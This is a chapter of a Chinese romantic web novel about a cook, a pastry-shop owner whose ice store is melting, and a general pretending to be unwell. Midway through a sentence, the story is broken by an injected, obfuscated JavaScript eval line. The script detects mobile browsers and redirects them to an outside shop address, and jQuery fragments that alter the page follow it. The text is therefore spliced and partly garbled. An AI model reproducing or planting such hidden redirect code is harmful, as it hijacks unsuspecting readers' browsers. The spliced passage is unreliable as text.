39. 樱桃酥山

作品:《落魄将军与他的小厨娘

    “这家苏记酥山最出名了!”紫萄扯着姜悦盈来到城南永安坊酥山店。


    “据说他家的掌柜可是个貌若潘安的翩翩公子,气质清冷,温文尔雅,却做得一手好酥山!”说到最后紫萄犯起了花痴,两手捧在脸上痴痴的笑个不停。


    “真有这么帅吗?”姜悦盈只当是大伙夸大其词,未当一回事。


    “哟,你还不信,他店内的小娘子一抓一大把,净是来看他的。”


    一众女娘包围下的店内,两个男子倒显得有些突兀。


    “你有这么好心,来请我吃酥山?”段昭临看着桌上的樱桃酥山,并未动勺。


    “好家伙,原来在你心里,我就是这么不仁义?我单纯请你吃个甜品还不成?”元清和倒是不客气,拿起勺子挖了一大块,放进嘴里,被冰块儿冻了牙,疼得他呜咽一声。


    “心急吃不了热豆腐。”段昭临瞥他一眼,把那盘酥山移给他,“喏,我有胃病,吃不下凉的,这碗也给你。”元清和明明是想吃两种,却还装模做样点了两份,美名其曰给他吃。


    “这算不上热,是凉豆腐。”元清和嘴里嚼着葡萄和冰渣含糊不清得回道。这酥山最为精美,底下铺着圆圆乎乎的小葡萄,酥冰被堆成一个小山,外面裹了层甜甜的桂花果酱,冰凉和甜腻一齐传到唇边。


    “苏老板,能为我们推荐几款好吃的酥山吗?”紫萄站在柜台前,悄悄打量着这老板,时不时用余光瞥他几眼。


    他眼尾轻轻下垂,笑起来有浅浅的卧蚕,讲话时认真看着紫萄,嘴角带着些似笑非笑的弧度:“抹茶红豆、樱桃醉月、玉露莓果、桂花酒酿酥山都是爆款。”


    “不知娘子想要哪一种呢?”他朝着紫萄的方向微微鞠躬。


    紫萄两眼乱颤,心跳得飞快,慌乱中随便选了两个。


    等了片刻,苏掌柜却又站出对食客抱歉道:“实在不好意思诸位,今日食肆内的冰块用尽,已无法再制新的酥山,请各位改日再来。”


    人群中传来不满:“既然没有冰块,为何不提前说,害我白白在这里等了半个时辰!”


    “这损失谁来补啊?”


    “是啊是啊。”身边的人的怒火也被带动起来,一起向他讨说法。


    他面上倒是不惧,丝毫未有推脱:“今日是苏某不对,现下所有来客,明日苏某免费请吃酥山一份。”


    同为开食肆之人,自是知道这些小心思:这众人是被那带头的人拉着拱火的,姜悦盈上前说了句:“苏老板仁义,在下佩服。可今日所有来客都可免得一酥山我觉着不妥。”


    她指着领头那人身后又溜进来的几人:“你们这几人刚在此处排队了吗?我怎没见过?”


    “对呀对呀。”一个大爷朝着这几人看了好几下,“方才你们不在这儿。”


    “你这老翁老眼昏花,没看着也不能随意诬赖人,我们几人是一伙的,只是刚才解手了一趟而已。”那人略显慌张,又放大嗓门喊了几句:“解手都不行吗?”


    身旁的一个小女娘站出来说了句公道话:“我在这儿足足等了一个时辰,可从未见过你们,少扯谎骗人了。”


    “啧啧啧,小年轻的有手有脚干什么不好,非要来这里空手套白羊!”


    姜悦盈斜了他们几眼,这几人被众人的骂声赶跑。


    苏老板朝她投来感激的目光,眼里止不住的笑意,又转向食客承诺:“诸位明日可来店吃酥山。”


    送走大伙后,“这位娘子,今日真是谢谢你了。”他站在夕阳下,因着急额头上的细汗和绒毛看得十分清楚。


    “不碍事的,只是见不惯有些人吃白食罢了。”姜悦盈挑了挑眉,冲他微微一笑,“不过您这里是酥山店,冰块应整日存着,怎会今日突然没货呢?”


    苏老板见他见识深远,懂得之多,就讲了今日的怪事,他用地是近几日深秋冻下的冰块,这后山专有一处储冰之地,底部铺着稻草隔热,上面铺层棉被,本来好好的。但今日不知为何这屯冰竟全化成了水,只得草草停止营业!


    姜悦盈有些好奇,还未见过冰库,想跟着前去敲瞧,紫萄自是乐意求之不得。


    只是几人穿过食肆门帘时,姜悦盈才发觉门廊后还有一人,宋锦之埋头苦吃着盘里的酥山,刚才的骚动非但没有影响到她,反而让她加快了啃食的速度。


    姜悦盈示意苏老板等等她,她踮着脚尖,故意放慢步伐,踱步到宋锦之旁用手扣了几下木桌,打她一个措不及防,“娘子,你怎的一人吃独食?”


    宋锦之拿着勺子的手就这么立在嘴边,嘴里的酥山还未吞下,她慌忙之中想咽下,却不曾咬到舌头只得支支吾吾说道:“姜娘子,我只是犯了全天下美食家都会犯的一个错误!”


    “这真不是我本意啊。”


    姜悦盈摇摇头:“你一周来几次?”竖起三根指头朝他晃晃,“三次?”


    宋锦之眼神扑朔迷离,结结巴巴不敢承认:“四次?”姜悦盈从开始的淡定转到现下的眉头紧皱:“宋娘子,明日我来找你,我们重新规划食谱!”


    留下宋锦之一人对着盘里剩下的酥山不知该如何是好,她吞咽着口水,想着今日都这样了,还是吃掉为好,明日再控制,又低头大快朵颐起来。


    “精彩!”元清和躲在一旁拍手叫好,“不愧是我看上的厨娘!是个能说会道牙尖嘴利的。”


    “怪不得在长孙府出尽风头。”


    段昭临看着姜悦盈和姓苏的男人有说有笑,心里不是滋味,白了元清河一眼:“得了吧,金子到哪儿都会发光。”


    “不,你这话说错了,千里马常有,伯乐不常有,我恰好就是这伯乐。”


    “呦,人俩一起走了。”他戏谑的目光投向段昭临,笑而不语。


    说罢,他话锋一转,收起吊儿郎当的样子:“立春后,圣人有来东都的打算,你可否知道。”


    “上次鬼市那人也有了线索,姜娘子怕是还有别的妙用。”


    段朝林掰着手上的玉扳指,沉思良久,圣上来京那人怕是也会跟着来,她见到他会……如何,他强克制住自己胡乱的思绪。


    *


    酥山冰窖


    姜悦盈跟着苏卿进入林间,路上苏老板介绍可称他苏卿,掀开厚厚的门帘,寒气扑面而来。


    他示意往下看,三人站在两层高的平台区,底下便是密密麻麻的冰块,这里有专门的匠人,挖出冰块并运送到酥山店。


    他们顺着旁边的小坡跳了下去,越往里走,这冰化的就越多,甚至出现了小水洼,那几个匠人不断地在缝隙里填上草席和棉被,希望未化的冰能持久些。


    “王叔,冰还化吗?”苏卿下去和那几人聊了聊。


    姜悦盈却感觉这里明显有一股风,四处想找到封口的来向,发现西侧一旁开了个小口。


    她来到苏卿旁边,指着那风口:“这风口,苏郎君切记早早补上,近几日气温回升,可能也会导致冰融化。”


    “哦!”苏青大叫一声,“这是那黄鼠狼咬下的洞,我想着不碍事便没急着补。”“来,王叔,快叫人来填好。”


    姜悦盈接着说道:“我觉着冰块摆得不应这么密,其中一块化了,其余的也会跟着一起化。”


    “嗯,是这个理。”紫萄跟着点头,觉得她家娘子说得没错。


    “太好了,堵上后西边的冰不化了!”王叔高兴得向苏卿大喊着。苏卿很是感激,说着改天登门拜访。


    两人一回来,云石竟端来两碗酥山:“我家郎君买的,娘子快吃吧。”


    “咦,你家郎君这么神,怎得知道我们今日没吃上。”紫萄倒是毫不客气,坐下就开吃,今日折腾了一下午什么都没赶上,她又渴又饿,冰沙解渴美味,能中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928638|188913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和果酱的甜味,就着盘边的红樱桃颇有一番风味,不到一炷香时间,就吞下半碟。


    “哟,娘子不好了,我家郎君说口渴要你喂。”原石从屋里出来,手里端着木碗,委屈巴巴的凑上来。


    “嗯?”姜悦盈很是费解,段昭临是要唱哪一出,两月有余脑袋还是不见好。


    紫萄本想帮腔,但一想吃人手短,嘴里塞得鼓鼓囊囊的,装作没听见似的把嘴里的话咽了下去。


    姜悦盈咬牙切齿地往外蹦话:“我是水吗?我去了,他就能喝下去。”不过这硬气也就保持了一小会儿,一进去瞬间又改了副脸色:“郎君,要小娘子有何事?”


    段昭林今日穿的那叫一个风雅,领口硕大的肌肉若隐若现,浅白色的衣衫微敞着,头发一反常态得披在身后。姜悦盈揉了揉眼睛,总感觉这身打扮像是哪里见过,和酥山店的苏卿怎那么像?


    “娘子,我梦魇了,梦到你跟着一个高高瘦瘦的男人跑了,你们躲在一起吃酥山。”


    嗯,她下午还真去酥山店,这梦这么写实?


    心里虽这么想,嘴上却又是另一套:“哪有呢,悦盈只有夫君一人。”


    “此话当真?你切不可抛下我不管。”段昭临一把拽着她坐在塌边,紧紧贴着她,娇小的人儿被他堵在床柩边。


    姜悦盈迷迷糊糊地坐下,手竟被他一齐放在他胸前,感觉下面有软软的触感,她连忙收回。


    段昭临怎能让她轻易收回,无辜地望着她,颇有几分我见犹恋的气质:“你既说我们是夫妻,可我却未曾见你贴心我?甚至连这亲密之举都不曾对我做过。”他强按住她的一双纤纤玉手,十指紧扣。


    姜悦盈一时摸不着头脑,陌生男人的气息在她周围萦绕,小脸透着粉红,红唇微嘟,不知他要做甚。


    “你从未碰过我,我今日去买酥山,那夫妻都是这般搀扶着。”段昭林倒是一脸委屈,将她的手贴在脸上,香气迎面而来。


    噢,原来是这样,姜悦盈猛地点头:“这下知道了,确是我有错。”说罢奋力收回右手,身子快速收回,干笑两声:“不是要喝水吗?”


    “来,我喂你。”她死死扣住碗底,往他嘴里灌:“夫君,你剩余的香料,可否从长安运来呢,我这食肆需要的很。”她眼睛一转,又想出了新点子。


    他被碗口堵住呼吸,想缓缓,只得点头想示意她慢点,这边的姜悦盈还一个劲儿往里灌,水自然流进胸口的衣襟处,本就微透的素衣更是薄如蝉翼,他竟两手扯开要就地换衣。


    “我突然想起,隔壁李婶找我有点事。”姜悦盈捂着眼睛退了出去。


    出去后,她觉得此人十分不对劲,段昭临何时成了这副模样,叫来云石:“你家主子今日可见了什么人?”


    云石如实回答。“你家将军这儿有问题,别再受刺激了,少和元小郎君那般的浪荡郎君嬉闹,这都学杂了。”她指了指脑袋处,脸色红白交织。


    姜悦盈这下终于能好好吃口酥山,这一层碎碎的细冰在当朝可值钱的很,一个就得二十钱,前世在宫内当差时,燕贵妃嗜冰,每逢冬日都会叫膳食局储好冰沙。


    其实,她也爱吃冰,越是焦头烂额之际越是喜欢来上一碗冰冰凉凉的酥山,焦虑烦躁都会被这口甜爽之味盖住。


    但酥山价贵,自从来了洛京这还是头一次吃冰呢。


    她两个腮帮子塞得满满的,盘子里的冰已化了一大半,正着急往嘴里送,不曾察觉屋内还有一道视线留意着她。


    姜悦盈,怎会与她那个浪荡表哥郑阳已故的妻子同名,是巧合还是阴谋,她还记得自己吗?


    屋内的人将解开的衣襟合上,又披上一层玄色外袍,将自己裹得严严实实的。


    姜悦盈路过姜母房前有好几袋行囊,心下一惊:“娘你们这是要出门?”新年将近,难道发生了甚急事。